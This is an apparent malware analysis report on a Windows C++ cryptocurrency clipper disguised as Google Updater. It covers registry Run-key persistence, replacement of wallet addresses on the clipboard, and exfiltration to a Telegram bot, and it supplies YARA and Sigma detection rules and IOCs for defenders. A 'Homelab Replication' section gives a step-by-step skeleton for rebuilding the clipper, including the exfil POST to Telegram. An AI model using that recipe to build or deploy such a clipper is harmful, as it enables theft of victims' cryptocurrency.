unclassified-pe32-clipper: f936b99e — MSVC C++ Telegram-relayed crypto clipper with registry persistence and 14-coin clipboard hijack

Executive Summary

MSVC 14.44 C++ PE32 x86 binary masquerading as Google Updater. Monitors the Windows clipboard via Win32 API, replaces 14 cryptocurrency address formats with attacker-controlled wallets, persists via the Registry Run key, drops a marker file for first-run tracking, and exfiltrates victim geolocation and clipboard events to a hardcoded Telegram bot. Distributed via the gcleaner multi-payload infrastructure per OpenCTI, but built with a toolchain entirely distinct from the Delphi / .NET droppers typically seen in that cluster.

What It Is

IAT is clean, minimal, and delay-import free: only five DLLs imported (WINHTTP, USER32, SHELL32, ADVAPI32, KERNEL32) ^[pefile.txt:229-7590]. .text entropy 6.38, .rdata entropy 5.23 — consistent with a compiler-generated C++ binary carrying heavy string and regex tables ^[pefile.txt:92,112]. The .fptable section (entropy 0.0) is an MSVC floating-point constant table generated under /fp:precise or IA32 target ^[pefile.txt:139-156]. Standard C++ runtime signatures dominate .rdata: full RTTI for std::exception, std::regex_error, nlohmann::json_abi_v3_11_3 exception types, and the nlohmann/json version string 961c151d2e87f2686a955a9be24d316f1362bf21 3.11.3 ^[strings.txt:183-274].

How It Works

Staging. On first execution the binary copies itself to %APPDATA%\Packages\Cache\Google-Updater.exe and drops a marker file %APPDATA%\Packages\Cache\eKdVymUq.txt ^[strings.txt:155,156,163]. The marker file likely gates whether the payload reports First startup! or Startup from autorun! ^[strings.txt:171,172].

Persistence. Writes Software\Microsoft\Windows\CurrentVersion\Run with value name HostResolverSU ^[strings.txt:164,165]. The copied binary path is therefore re-launched on every user logon.

Clipboard Hijack. Opens the clipboard via OpenClipboard, reads data with GetClipboardData, validates the captured string against 14 hardcoded cryptocurrency-address regexes, and — on match — replaces the clipboard contents with attacker-controlled addresses via SetClipboardData ^[strings.txt:607-611,117-148,280-297]. Supported chains include Bitcoin (Legacy, SegWit, Bech32/Bech32m), Ethereum, Tron, Dogecoin, Litecoin (Legacy, SegWit), Monero, Bitcoin Cash, BNB, Cardano, Zcash (Transparent, Sapling, Unified), Stellar, and TON ^[strings.txt:117-148]. Matching addresses trigger the status string Address replaced! ^[strings.txt:159].

C2 / Exfiltration. Communicates over HTTPS using the WinHTTP API (WinHttpOpen, WinHttpConnect, WinHttpOpenRequest, WinHttpSendRequest) ^[pefile.txt:239-247]. Payloads are POSTed to the Telegram Bot API:

https://api.telegram.org/bot<TOKEN>/sendMessage?chat_id=<ID>&text=<DATA>

Hardcoded chat IDs recovered from strings: 8839708308 (redacted in binary as 8839708308:***) and 8752840413 ^[strings.txt:151-153,160,161]. The bot token itself is not present in the binary; it may be fetched from an external resource or injected at build time.

Geolocation Beacon. Queries https://ipapi.co/json/ to extract country_name, City, etc. and reports them back to the Telegram bot ^[strings.txt:165-170]. The string IP info unavailable suggests graceful failure handling ^[strings.txt:157,168].

Configuration. Uses nlohmann/json v3.11.3 for JSON payload formatting (Telegram API requires chat_id, text, and optional parse_mode fields) ^[strings.txt:183-274]. Regex validation is performed with the C++ <regex> engine — standard regex error strings (regex_error(error_collate), etc.) are present in .rdata ^[strings.txt:321-336].

Anti-Analysis. None observed beyond standard CRT imports. IsDebuggerPresent is imported by KERNEL32 but is part of the default MSVC C runtime dependency set, not an explicit anti-debug check ^[pefile.txt:654]. No anti-VM strings, no packed sections, no import hashing, no control-flow flattening.

Decompiled Behavior

Radare2 (analysis level 2) identified 3 336 functions. The decompiled entry point (entry0) is dominated by CRT initialization — security-cookie setup, TLS callback registration (AddressOfCallBacks at 0x462260), SEH table registration, and __security_init_cookie ^[r2:entry0]. Meaningful decompilation of the clipboard-loop or Telegram dispatch routines was not recovered because they lack symbols and are buried under C++ standard-library call frames. Behavior described in this report is therefore inferred from static IAT + string analysis alone.

C2 Infrastructure

No domains, IPs, or mutexes recovered. The Telegram bot token and any secondary C2 are runtime-resolved or builder-injected and absent from the static image.

Interesting Tidbits

• Google masquerade. Uses Google-Updater.exe and HostResolverSU as names — both designed to look like legitimate Google networking utilities ^[strings.txt:163,165].
• nlohmann/json footprint. Version 3.11.3 with exact commit hash 961c151d2e87f2686a955a9be24d316f1362bf21 confirms a modern, actively maintained C++ dependency ^[strings.txt:274].
• 14-coin coverage. The regex table is unusually broad for a commodity clipper, covering even niche chains like TON and Cardano (Shelley addr1...) ^[strings.txt:137-148].
• Triage tool failures. floss.txt and capa.txt both failed during the triage pipeline — the former due to a CLI argument parsing bug, the latter because the capa signatures directory was missing ^[floss.txt:1-6, capa.txt:1-6]. These are pipeline misconfigurations, not packing artifacts.
• Distribution vs family mismatch. OpenCTI labels it dropped-by-gcleaner, but the build (MSVC 14.44, C++17 STL, nlohmann/json) is nothing like the Delphi VCL or .NET droppers historically associated with gcleaner ^[metadata.json:8-11, gcleaner]. This sample likely transited the gcleaner distribution network as a third-party payload rather than being built by the gcleaner authors.

How To Mess With It (Homelab Replication)

• Toolchain: Visual Studio 2022 (MSVC 14.44), C++17, Windows SDK 10.0, target Win32.
• Dependencies: nlohmann/json v3.11.3 (single-header from GitHub).
• Core API composition: Import WINHTTP.dll (WinHttpOpen, WinHttpConnect, WinHttpOpenRequest, WinHttpSendRequest), USER32.dll (OpenClipboard, GetClipboardData, SetClipboardData), ADVAPI32.dll (RegOpenKeyExA, RegSetValueExA), and SHELL32.dll (SHGetFolderPathA).
• Working skeleton: Open the clipboard every 100 ms with SetTimer. On change, run std::regex_match against a set of ^bc1..., ^0x..., ^T... patterns. On match, empty the clipboard (EmptyClipboard), write the attacker address, and POST a JSON payload {"chat_id":"8839708308","text":"Address replaced: "+addr} via WinHTTP.
• Verification: Compile to x86 PE, run rabin2 -I repro.exe, confirm linker 14.44 and canary true. Search .rdata for json_abi_v3_11_3 and regex_error — both should be present.

Deployable Signatures

YARA

rule Unclassified_PE32_Telegram_Clipper {
    meta:
        description = "MSVC C++ PE32 Telegram-relayed crypto clipper"
        author = "pp-hermes"
        date = "2026-06-09"
        hash = "f936b99eaf4d26fd32ad8b8c9981cdae057ae29f734203d8f3eb92eb98f8f11a"
    strings:
        $s1 = "https://api.telegram.org/bot" ascii wide
        $s2 = "/sendMessage?chat_id=" ascii wide
        $s3 = "&text=" ascii wide
        $s4 = "OpenClipboard" ascii wide
        $s5 = "SetClipboardData" ascii wide
        $s6 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
        $s7 = "Google-Updater.exe" ascii wide
        $s8 = "HostResolverSU" ascii wide
        $s9 = "Address replaced!" ascii wide
        $s10 = "IP info unavailable" ascii wide
        $s11 = "https://ipapi.co/json/" ascii wide
        $s12 = "eKdVymUq.txt" ascii wide
    condition:
        uint16(0) == 0x5A4D and
        pe.PE_TYPE == pe.PE32 and
        pe.imports("WINHTTP.dll", "WinHttpOpen") and
        pe.imports("USER32.dll", "OpenClipboard") and
        pe.imports("ADVAPI32.dll", "RegSetValueExA") and
        6 of ($s*)
}

Sigma (Registry Persistence)

title: Telegram Bot Crypto Clipper Registry Persistence
status: experimental
description: Detects Registry Run key persistence pointing to a Google-Updater masquerade used by a Telegram-relayed crypto clipper
author: pp-hermes
date: 2026-06-09
references:
  - hash: f936b99eaf4d26fd32ad8b8c9981cdae057ae29f734203d8f3eb92eb98f8f11a
logsource:
  product: windows
  category: registry_event
detection:
  selection:
    EventID: 13
    TargetObject|contains: 'Software\Microsoft\Windows\CurrentVersion\Run'
    Details|endswith: 'Google-Updater.exe'
  condition: selection
falsepositives:
  - Unknown
level: high
tags:
  - attack.persistence
  - attack.t1547.001

IOCs

Behavioral Fingerprint

An x86 PE compiled with MSVC 14.x, importing WinHTTP, USER32 clipboard APIs, ADVAPI32 registry writes, and SHELL32 folder lookup. At runtime it copies itself to %APPDATA%\Packages\Cache\Google-Updater.exe, writes a Registry Run value named HostResolverSU, drops a marker file eKdVymUq.txt, then enters a loop polling the clipboard. Clipboard text matching 14 cryptocurrency-address regexes (Bitcoin Legacy/SegWit/Bech32m, Ethereum, Tron, Dogecoin, Litecoin, Monero, Bitcoin Cash, BNB, Cardano, Zcash, Stellar, TON) is replaced with attacker-controlled wallets, and notifications (Address replaced!, victim IP geolocation, startup events) are exfiltrated via Telegram Bot API HTTPS POST to hardcoded chat IDs.

Detection Signatures (ATT&CK)

References

• Artifact ID 913a1c3f-9136-4f7c-8b66-2c4fe5ca9247 ^[metadata.json:2]
• OpenCTI labels: dropped-by-gcleaner, exe, malware-bazaar, mix7.file ^[metadata.json:8-11]
• unclassified-pe32-clipper — entity page for this family
• gcleaner — distribution infrastructure label
• maskgramstealer — related MinGW clipper family (different build stack)
• unclassified-pe64-clipper — MinGW x64 clipper; similar capabilities but different toolchain
• dolphin — Rust-based RAT/clipper family with Telegram C2 and wallet injection

Provenance

This report synthesizes static artifacts from the canonical store: file.txt, exiftool.json, metadata.json, pefile.txt, rabin2-info.txt, strings.txt, binwalk.txt, ssdeep.txt, tlsh.txt, yara.txt. floss.txt failed due to a CLI argument parsing bug (--no flag collision) ^[floss.txt:1-6]. capa.txt failed because the capa signatures directory was missing ^[capa.txt:1-6]. Radare2 analysis (level 2, 3336 functions) was performed on the binary; entry decompilation showed standard CRT initialization but no symbol-resolved clipboard or Telegram handlers. No CAPE detonation was available (no Windows guest). Report written 2026-06-09 by pp-hermes.